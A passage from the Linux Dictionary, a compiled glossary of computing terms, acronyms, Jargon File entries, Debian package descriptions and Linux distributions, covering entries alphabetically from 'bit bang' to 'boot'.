n. Transmission of data on a serial line, when accomplished by rapidly tweaking a single output bit, in software, at the appropriate times. The technique is a simple loop with eight OUT and SHIFT instruction pairs for each byte. Input is more interesting. And full duplex (doing input and output at the same time) is one way to separate the real hackers from the wannabees. Bit bang was used on certain early models of Prime computers, presumably when UARTs were too expensive, and on archaic Z80 micros with a Zilog PIO but no SIO. In an interesting instance of the cycle of reincarnation, this technique returned to use in the early 1990s on some RISC architectures because it consumes such an infinitesimal part of the processor that it actually makes sense not to have a UART. Compare cycle of reincarnation. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bit bashing

n. (alt. `bit diddling' or bit twiddling) Term used to describe any of several kinds of low-level programming characterized by manipulation of bit, flag, nybble, and other smaller-than-character-sized pieces of data; these include low-level device control, encryption algorithms, checksum and error-correcting codes, hash functions, some flavors of graphics programming (see bitblt), and assembler/compiler code generation. May connote either tedium or a real technical challenge (more usually the former). "The command decoding for the new tape driver looks pretty solid but the bit-bashing for the control registers still has bugs." See also bit bang, mode bit. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bit bucket

n. [very common] 1. The universal data sink (originally, the mythical receptacle used to catch bits when they fall off the end of a register during a shift instruction). Discarded, lost, or destroyed data is said to have `gone to the bit bucket'. On Unix, often used for /dev/null. Sometimes amplified as `the Great Bit Bucket in the Sky'. 2. The place where all lost mail and news messages eventually go. The selection is performed according to Finagle's Law; important mail is much more likely to end up in the bit bucket than junk mail, which has an almost 100% probability of getting delivered. Routing to the bit bucket is automatically performed by mail-transfer agents, news systems, and the lower layers of the network. 3. The ideal location for all unwanted mail responses: "Flames about this article to the bit bucket." Such a request is guaranteed to overflow one's mailbox with flames. 4. Excuse for all mail that has not been sent. "I mailed you those figures last week; they must have landed in the bit bucket." Compare black hole. This term is used purely in jest. It is based on the fanciful notion that bits are objects that are not destroyed but only misplaced. This appears to have been a mutation of an earlier term `bit box', about which the same legend was current; old-time hackers also report that trainees used to be told that when the CPU stored bits into memory it was actually pulling them `out of the bit box'. See also chad box. Another variant of this legend has it that, as a consequence of the `parity

preservation law', the number of 1 bits that go to the bit bucket must equal the number of 0 bits. Any imbalance results in bits filling up the bit bucket. A qualified computer technician can empty a full bit bucket as part of scheduled maintenance. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bitchx

Advanced Internet Relay Chat client This is the bleeding edge of IRC software — the most common functions normally done by scripts are coded into the client itself. It contains dozens of features such as: * Built-in ANSI color (this is probably the biggest feature) * Ease of use — dozens of useful command aliases to reduce typing * Built-in notify, protection, and bot lists * Built-in mass commands and tools * Extended set of DCC commands and built-in CDCC offering * Extended scripting functionality, including unique functions * Code is based on ircII-Plutonium and more recent ircII-EPiC Online linux help is available at irc.debian.org. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bitcollider

Collects bitprint and other information from files for bitzi.com Think of it as a really big file hash database on the internet with constant contributions from others of metadata on files. Bitcollider is a small program to reliably identify and describe files on your machine. When run with a specific file as input, this program does two major things: * It examines the file, calculating a distinctive digital fingerprint, or bitprint, and taking note of some other identifying information that can be extracted from the file, like file length and the local filename. * It launches your web browser to do a lookup at our website, submitting this identifying information as the search terms. At bitzi.com you'll see what — if anything — others have said about your file, and have a chance to contribute descriptions or comments yourself. If your automatic submission included information useful to our database, that new information will be contributed to the database under your screen name. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bitmap

bitmap editor and converter utilities for the X Window System From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bitmap

Define a new bitmap from a Tcl script From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BITNET

Because It's Time NETwork (network) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BITNET (Because It's Time NETwork (or Because It's There NETwork))

A network of educational sites separate from the Internet, but e-mail is freely exchanged between BITNET and the Internet. Listservs., a popular form of e-mail discussion groups, originated on BITNET. At its peak (the late 1980's and early 1990's) BITNET machines were usually mainframes, often running IBM's MVS operating system. BITNET is probably the only international network that is shrinking. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bits

pl.n. 1. Information. Examples: "I need some bits about file formats." ("I need to know about file formats.") Compare core dump, sense 4. 2. Machine-readable representation of a document, specifically as contrasted with paper: "I have only a photocopy of the Jargon File; does anyone know where I can get the bits?". See softcopy, source of all good bits See also bit. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIU

Bus Interface Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIX

Byte Information eXchange From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BJT

Bipolar Junction Transistor (IC) From VERA

BK

Buero Kommunikation From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bk2site

Utility to turn bookmarks into Yahoo/Slashdot like pages bk2site will transform a Netscape bookmarks file (use xbel-utils to convert other formats) into a yahoo-like website with slashdot-like news. You can see an example website created with it at <http://MultiAgent.com>. The program has several nice features: Includes hit-counter and display feature (see which URLs are popular). Includes integrated cgi-bin search.pl program. Nice-looking output. Powerful customization. Inserts navigation information into the top of each page. Puts a "new" icon next to new entries. Supports any other icon(s) (e.g., cool.gif, hot.gif) you might want to show. Puts New Additions on the front page. Puts News Items on the front page. Supports URL and directory aliases. Use PRIVATE keyword to keep some URLs/folders from appearing. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BKS

BenutzerKoordinatenSystem (CAD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bl

Blink Keyboard LEDs. bl blinks the keyboard LEDs: the Num Lock, the Caps Lock, and the Scroll Lock. bl is a very helpful monitor of server's state. Blinking speed could tell about CPU load. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BL

Blue Lightning [processor family] (Intel) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Black Cat Linux

Black Cat is a Russian distribution now owned by ASPLinux. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Black Lab Linux

Terra Soft Solutions provides Black Lab for HPC Clusters. It features a graphical installation, configuration, and maintenance suite for Yellow Dog Linux HPC (high performance computing) clusters. It's designed to work with Apple Macintosh and Terra Soft's Yellow briQ Nodes. Black Lab ships with the YDL 2.1 foundation and includes a subscription for 2 upgrades to future releases of both YDL and Black Lab. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

black-box

Find the crystals There's a black box. You can shoot in and watch, where the shot leaves the box. In the box, crystals are reflecting the shots. You have to guess where the crystals are hidden, by watching your shots. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

blackbox

Window manager for X This is a window manager for X. It is similar in many respects to such popular packages as Window Maker, Enlightenment, and FVWM2. You might be interested in this package if you are tired of window managers that are a heavy drain on your system resources, but you still want an attractive and modern-looking interface. The best part of all is that this program is coded in C++, so it is even more attractive "under the hood" than it is in service -- no small feat. If none of this sounds familiar to you, or you want your computer to look like Microsoft Windows or Apple's OS X, you probably don't want this package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

blackened

A feature rich ircII based IRC client IRC (Internet Relay Chat) provides a way of communicating in real time with people from all over the world. It consists of various separate networks (or "nets") of IRC servers, machines that allow users to connect to IRC. The largest nets are EFnet (the original IRC net, often having more than 32,000 people at once), Undernet, IRCnet, DALnet, NewNet and OPN. Generally, the user (such as you) runs a program (called a "client") to connect to a server on one of the IRC nets. The server relays information to and from other servers on the same net. The ircII program is the first widely used IRC client. IrcII has spawned several other clients in modern times, all of which keep the basic ircII command set and add to it in various more or less useful ways. Blackened is an enhanced ircII based IRC client that offers a variety of features not found in other clients, including commands designed for IRC server operators and administrators. Normal users also benefit from additional functionality. See also the Official Blackened Website at <http://www.blackened.com/blackened/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BlackRhino GNU/Linux

BlackRhino is a free Debian-based GNU/Linux software distribution for the Sony PlayStation 2. It contains over 1,200 software packages to aid in using and creating programs for the Sony PlayStation 2 Linux kit. The programs range in functionality from simple games, to text editors, compilers, web servers, windowing systems, database systems, graphics packages, mail servers and a variety of other tools and utilities. Version 1.0 was released March 4, 2003. A 'special purpose/mini' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

blacs1-lam

Basic Linear Algebra Communications Subprograms The BLACS project is an ongoing investigation whose purpose is to create a linear algebra oriented message passing interface that may be implemented efficiently and uniformly across a large range of distributed memory platforms. You can choose between an implementation based on MPI or PVM. This package uses MPI. There also exist implementations on HP Exemplar, IBM SP Series, Thinking Machines CM-5, SGI Origin 2000 and some Crays. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BLADE

Basic Linear Algebra for Distributed Environments From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

blas

Basic Linear Algebra Subroutines, shared library BLAS (Basic Linear Algebra Subroutines) is a set of efficient routines for most of the basic vector and matrix operations. They are widely used as the basis for other high quality linear algebra software, for example lapack and linpack. This implementation is the Fortran 77 reference implementation found at netlib. This package contains a shared version of the library. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

blas-test

Basic Linear Algebra Subroutines, testing programs BLAS (Basic Linear Algebra Subroutines) is a set of efficient routines for most of the basic vector and matrix operations. They are widely used as the basis for other high quality linear algebra software, for example lapack and linpack. This implementation is the Fortran 77 reference implementation found at netlib. This package contains a set of programs which test the integrity of an installed blas-compatible shared library. These programs may therefore be used to test the libraries provided by the blas package as well as those provided by the atlas packages. The programs are dynamically linked -- one can explicitly select a library to test by setting the LD_LIBRARY_PATH or LD_PRELOAD environment variables. Likewise, one can display the library selected using the ldd program in an identical environment. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BLAST

BLocked ASynchronous Transmission From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

blast

Vent your frustration with programs by blowing holes in them Blast lets you vent your frustration with programs by blowing holes in them. With this program you can blast holes any window in X. Holes become permanent unless you repair them before you quit. You may move permanently "damaged" windows and enjoy the view behind the holes. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

blast2

Basic Local Alignment Search Tool The famous sequence alignment program. This is "official" NCBI version, #2. The blastall executable allows you to give a nucleotide or protein sequence to the program. It is compared against databases and a summary of matches is returned to the user. Note that databases are not included in Debian; they must be retrieved manually. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

blatte

a powerful text markup and transformation language A blatte document can be translated into a Perl program that, when executed, produces a transformed version of the input document. A Major emacs mode for editing Blatte source is also included. Many users will be interested in Blatte's ability to serve as a high-level language for writing web pages. This requires the module blatte-html which is included. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BLER

BLock Error Rate (CD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BLFS (Beyond Linux From Scratch)

Beyond Linux From Scratch (BLFS) is a project with the aim of assisting LFS users to go beyond the base system. It contains a broad range of instructions for installing and configuring various packages on top of a base LFS system. If you are wondering why you would want an LFS system or what one is, see the entry for LinuxFromScratch below in this list. BLFS 1.0 was released April 28, 2003 under the original BSD License. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

blinkd

Blinks keyboard LEDs for an answering machine or fax machine. Blinkd is a client/server pair, that lets the keyboard LEDs blink, indicating things like the number of incoming voice calls in the voice box or incoming faxes in the spool. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

blitz++

C++ template class library for scientific computing Blitz++ offers a high level of abstraction, but performance which rivals Fortran. The current version supports arrays and vectors. This package includes libraries and headers for compiling programs with blitz++. Homepage

<http://oonumerics.org/blitz/> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BLLI

Broadband Low Layer Information (BISDN), "B-LLI" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BLM

Bayerische Landeszentrale fuer neue Medien (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BLMX

Board-Level Multitasking eXecutive (OS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bloatware

n. [common] Software that provides minimal functionality while requiring a disproportionate amount of disk space and memory. Especially used for application and OS upgrades. This term is very common in the Windows/NT world. So is its cause. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BLOB

Binary Large Object From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Block

A unit of information that's processed or transferred. The unit size may vary. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

block

v. [common; from process scheduling terminology in OS theory] 1. vi. To delay or sit idle while waiting for something. "We're blocking until everyone gets here." Compare busy-wait. 2. `block on' vt. To block, waiting for (something). "Lunch is blocked on Phil's arrival." From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

block transfer computations

n. [from the television series "Dr. Who"] Computations so fiendishly subtle and complex that they could not be performed by machines. Used to refer to any task that should be expressible as an algorithm in theory, but isn't. (The Z80's LDIR instruction, "Computed Block Transfer with increment", may also be relevant.) From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

blockdev

call block device ioctls from the command line From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Blog (weB LOG)

A blog is basically a journal that is available on the web. The activity of updating a blog is "blogging" and someone who keeps a blog is a "blogger." Blogs are typically updated daily using software that allows people with little or no technical background to update and maintain the blog. Postings on a blog are almost always arranged in chronological order with the most recent additions featured most prominently. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bloksi

Sliding-blocks puzzle (glotski written in perl) Bloksi is a sliding-blocks puzzle : blocks should be pushed around until a "goal" position is reached. This is nearly a clone -written in perl- of glotski, whose files can be loaded. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

blootbot

a severely modified infobot for IRC This bot is based upon infobot-0.44.2 by Kevin Lenzo. The basis of infobot is still there but _many_ wild features have been added. Along the way, a couple of typos were spotted in the original infobot source and fixed in this version. Without infobot, there would be no blootbot so all thanks to kevin for bringing infobot in the first place. FEATURES * Additional information stored with factoids. (factinfo) * Wide range of statistics for Bot, Factoids, IRC, Debian. (status, factstats, ircstats, chanstats, cmdstats) * Advanced topic management. (the first cool feature) * Improved factoid search, allowing search by key or value. * Freshmeat support (freshmeat.net) * Debian Contents and Packages, search and info. * much more... From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BLOROB

BLOCK based ROBot From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BLSM

Base Level System Modernization From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BLT

BLock Transfer From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

blt

Shared libraries for blt This is the shared libraries for BLT. You should only need this if you are using programs which are linked to blt, or are developing programs in BLT. BLT is an extension to the Tk toolkit, adding new widgets, geometry managers, and miscellaneous commands. It does not require

any patching of the Tcl or Tk source files. An attempt is being made to unify the BLT libraries so that the package is independent of whatever tcl/tk library (e.g. 8.0,8.2,8.3) you are using. This will be via the tcl stubs interface. As part of this process, blt8.0 is obsolete and this package dynamically chooses the correct version of BLT library to match your situation. This makes is a lot bigger than if you choose the library versions yourself, but means that you always have the version you need (not always the case under the old system) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Blue Cat Linux

BlueCat Linux from LynuxWorks is an enhanced implementation of the Linux model, made viable for use in a wide range of embedded systems. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Blue Linux

Blue Linux, is a free Linux-based operating system bundled with many packages that are used in the educational field, for computers in the educational field. Version 1.0RC2 was released April 16, 2002. Version 1.0 was released January 30, 2003. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bluefish

A Gtk+ HTML editor Bluefish is a GTK HTML editor for the experienced web designer. It is currently in alpha stage, but still usable. Its features include nice wizards for startup, tables and frame; a fully featured image insert dialog; thumbnail creation and automatically linking of the thumbnail with the original image; and configurable HTML syntax highlighting. For validation to work you need weblint. For preview to work, you need a web browser that can view local files given to it on the command line. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

blueflops

blueflops is a Linux distribution that fits on two floppy disks, and includes a graphical Web browser (links 2.1pre9 using sgvlib 1.4.3) and a popular IRC client (BitchX 1.0c19). The kernel is 2.4.20 with most of the Ethernet drivers compiled as modules. The C library is uClibc 0.9.16, busybox is a slightly modified version of 0.61.pre. The 'links' and 'BitchX' binaries are statically linked and compressed with UPX 1.90. The distinguishing feature of blueflops is its configuration procedure. The scripts are all accessible through a 'setup' script, and they all have a nice 'dialog' front-end.

Version 1.0.0 was released April 15, 2003. A floppy-based distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BluePoint Embedded

BluePoint, a leader in Chinese localized Linux software, provides Linux platform technology and Embedded Linux Solution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BluePoint Linux

BluePoint claims to be China's leading Chinese localized Linux software company. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bluetooth

A wireless technology that uses short-range radio frequencies to allow communication between many different devices. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BMBF

BundesMinisterium fuer Bildung und Forschung (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BMBW

BundesMinisterium fuer Bildung und Wissenschaft (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bmconf

The installer and configurator of the Smart Boot Manager The Smart Boot Manager is a program which runs at boot time, and give you the ability to select which OS you want to run. It has a lot of functionality which haven't implemented by other boot managers, like scheduled default, boot from other hard disk than first, good privilege system with encrypted passwords, online configuration, etc. In this package you can find an installer and a configurator program too. With installer you can easily install the SBM, but the configurator may be complicated, and to end-users I think the online configuration is better. The configurator is good if you want to configure the Smart Boot Manager from scripts. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BMDP

Bio-Medical Data Package From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BNC

Bayonet Nipple Connector (slang) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BNC

Bayonet Nut Coupling ??? From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BNC

British Naval Connector From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bnc

IRC Session Bouncing Proxy BouNCe is a daemon designed to allow some people who do not have access to the net in general, but who do have access to another pc that can reach the net, the ability to BouNCe though this pc to IRC. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BND

BundesNachrichtenDienst From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bnetd

Battle.Net server for Unix like systems The server currently implements most of the same functionality as the real Battle.Net servers. You can chat, play games, use / commands, and things like account passwords, user icons, add banners, and channel operators work too. It is by no means complete, though. More information can be found at the bnetd web site <http://www.bnetd.org/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BNF

Backus-Naur Form (TTCN, ...) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bnlib1

A multiple precision mathematics library. Assembly language routines are used to make this library very fast. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BNP

Broadband Network Premises From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BNT

Broadband Network Termination (B-ISDN), "B-NT" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BNU

Basic Networking Utilities (AT&T) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BO

Back Orifice (CDC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOA

Basic Object Adapter From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

B

boa

Lightweight and High Performance WebServer Boa is a single-tasking HTTP server. That means that unlike traditional web servers, it does not fork for each incoming connection, nor does it fork many copies of itself to handle multiple connections. It internally multiplexes all of the ongoing HTTP connections, and forks only for CGI programs (which must be separate processes.) Preliminary tests show boa is capable of handling several hundred hits per second on a 100 MHz Pentium. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bobo

Publish Python objects on web servers (command line version) From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bobot++

An IRC bot with scripting features. bobot++ is a robust IRC bot with many common bot features such as flood control, userlist and channel control, logging, but also intelligent ban/deban and channel mode settings. It also provides Scheme scripting features using Guile. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOCA

Borland Object Component Architecture (Borland) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bochs

IA-32 (x86) PC emulator Bochs is a highly portable free IA-32 (x86) PC emulator written in C++, that runs on most popular platforms. It includes emulation of the Intel x86 CPU, common I/O devices, and a custom BIOS. Currently, bochs can be compiled to emulate a 386, 486 or Pentium CPU. Bochs is capable of running most Operating Systems inside the emulation including GNU, GNU/Linux, Windows. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bock

Bootstrap-only compiler kit for a subset of Java(tm) BOCK is a prototype native compiler, originally intended to enable a Java(tm) development environment to be bootstrapped from a C-only environment. It was envisioned that its sole purpose in life would be to compile the forthcoming "Jackal" Java compiler. BOCK has, since then, gained functionality, and should soon be able to compile most non-graphical Java programs. Its lack of anything resembling error checking means that it won't be of much use for development, but it might be able to generate a reasonably fast binary version of your program. That said, BOCK is still very much in the pre-alpha testing stage. It is therefore unlikely to be of use to anyone except dedicated hackers and developers. Also included is "jcomp", a slightly more friendly front-end for bock, which compiles programs against the BOCK mini-library and compiles BOCK's C output to native code in one step. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOD

Business Object Documents (OAG) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOF

Birds Of a Feather (Usenix) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bogl-bterm

Ben's Own Graphics Library – graphical terminal Ben's Own Graphics Library is a small framebuffer library, including basic widgets, support for text in multiple languages, and mouse handling. This package contains bterm, a utf-enabled framebuffer terminal. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BogoMip

`BogoMips' is a contraction of `Bogus MIPS'. MIPS stands for (depending who you listen to) Millions of Instructions per Second, or Meaningless Indication of Processor Speed. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BogoMIPS

/bo'go-mips/ n. The number of million times a second a processor can do absolutely nothing. The Linux OS measures BogoMIPS at startup in order to calibrate some soft timing loops that will be used later on; details at the BogoMIPS mini-HOWTO. The name Linus chose, of course, is an ironic comment on the uselessness of all other MIPS figures. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bogosort

sorts or doesn't sort files or standard input bogosort sorts files or its standard input using the bogo-sort algorithm. It can also simply randomize lines in a file for you. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOM

Beginning of Message From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOM

Byte Order Mark (Unicode) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bombardier

The GNU Bombing utility This game is the same as the old bombardier game on Commodore Plus 4. This version supports hall of fame and more cities. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bombermaze

A bomberman clone for GNOME, for 2-4 players It is a multiplayer action game in which players run around in a square-grid maze while dropping bombs and collecting power-ups. The bombs explode after a short time delay, taking out any nearby bricks and players. For maximum effect, bombs can be arranged so as to cause a chain reaction of explosions. The last player left is the winner. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BONDING

Bandwidth ON Demand INteroperability Group (org., manufacturer, AIM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bonnie++

Hard drive bottleneck testing benchmark suite. It is called Bonnie++ because it was based on the Bonnie program. This program also tests performance with creating large numbers of files. Now includes zcav raw-read test program. A modern hard drive will have more sectors in the outer tracks because they are longer. The hard drive will have a number (often more than 8) of zones where each zone has the same number of sectors (due to the need for an integral number of sectors per track). This program allows you to determine the levels of performance provided by different zones and store them in a convenient format for gnuplot. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bonobo

Bonobo is a library that provides the necessary framework for GNOME applications to deal with compound documents, such spreadsheet and/or graphics embedded in a word-processing document. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bonobo

The GNOME Bonobo System. Bonobo is a set of language and system independent CORBA interfaces for creating reusable components (controls) and creating compound documents. The Bonobo distribution includes a Gtk+ based implementation of the Bonobo interfaces, enabling developers to create reusable components and applications that can be used to form more complex documents. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bonsai

The famous Mozilla CVS query tool by web interface The Mozilla team made this tool to help following the life of CVS modules. Here is the Debian version of this tools. WARNING: This tool will not work out of the box. You will need to complete the install procedure according the

/usr/share/doc/bonsai/README.debian.gz document. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bonzai Linux

Bonzai Linux has been built to offer a Debian based Desktop-OS that fits on a 180MB CD-R(W). The Distribution includes the current stable version of KDE and has been modified for easier installation. Version 1.5 was released May 20, 2003. Version 2.1 was released June 23, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bookmark

WWW based bookmark management, retrieval and search tool Bookmarker is a nice tool for people who have too many bookmarks, in too many different browsers, on too many different computers. It helps manage bookmarks throw categories and allow other people access or extent your bookmark database through a really simple http based interface. More information can be found at the bookmarker web site <http://renaghan.com/bookmarker/> . From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bookmarks

The Debian bookmark collection This package is a large collection of bookmarks (weblinks), and shall constantly be updated and improved with your help. The German link collection for example is already very complete. The numerous links are most useful to everybody, but of course especially for newbies to find their way to the vast Internet resources. Although this bookmark collection lists all kind of resources (e.g. search engines, links to online dictionaries, etc), the majority of them are still computer and Linux oriented. This package also includes the Perl script bookmarks-convert that can convert different bookmark formats (netscape, lynx, html). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bookview

Tcl/Tk based NDTP(Network Dictionary Transfer Protocol) client. BookView is a NDTP (Network Dictionary Transfer Protocol) client written in Tcl/Tk. It requires Tcl8.0jp/Tk8.0jp ('jp' means 'Japanized version'). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

boolean

Expression-based system that uses the operators AND, OR, and NOT; operations are based on variables which can be 1 (true) or 0 (false). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

boot

The process of loading a computer's operating system. If your system is working properly, the operating system boots when the computer is turned on. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

boot

To 'boot' a computer is to start the operating system. A boot can be a "hard boot" or a "soft boot". A restart may be to the lowest level of the CPU's control program (BIOS), or slightly higher, depending on whether it is a hard or soft boot and the design of the computer system. In any case, the "operating system" is restarted from the beginning. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

boot

v.,n. [techspeak; from 'by one's bootstraps'] To load and initialize the operating system on a machine. This usage is no longer jargon (having passed into techspeak) but has given rise to some derivatives that are still jargon. The derivative 'reboot' implies that the machine hasn't been down for long, or that the boot is a bounce (sense 4) intended to clear some state of wedgitude. This is sometimes used of human thought processes, as in the following exchange: "You've lost me." "OK, reboot. Here's the theory...." This term is also found in the variants 'cold boot' (from power-off condition) and 'warm boot' (with the CPU and all devices already powered up, as after a hardware reset or software crash). Another variant: 'soft boot', reinitialization of only part of a system, under control of other software

still running: "If you're running the mess-dos emulator, control-alt-insert will cause a soft-boot of the emulator, while leaving the rest of the system running." Opposed to this there is 'hard boot', which connotes hostility towards or frustration with the machine being booted: "I'll have to hard-boot this losing Sun." "I recommend booting it hard." One often hard-boots by performing a power cycle. Historical note: this term derives from 'bootstrap loader', a short program that was read in from cards or paper tape, or toggled in from the front panel switches. This program was always very short (great efforts were expended on making it short in order to minimize the labor and chance of error involved in toggling it in), but was just smart enough to read in a slightly more complex program (usually from a card or paper tape reader), to which it handed control; this program in turn was smart enough to read the application or operating system from a magnetic tape drive or disk drive. Thus, in successive steps, the computer 'pulled itself up by its bootstraps' to a useful operating state. Nowadays the bootstrap is usually found in ROM or EPROM, and reads the first stage in from a fixed location on the disk, called the 'boot block'. When this program gains control, it is powerful enough to load the actual OS and hand control over to it. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Boot Disk

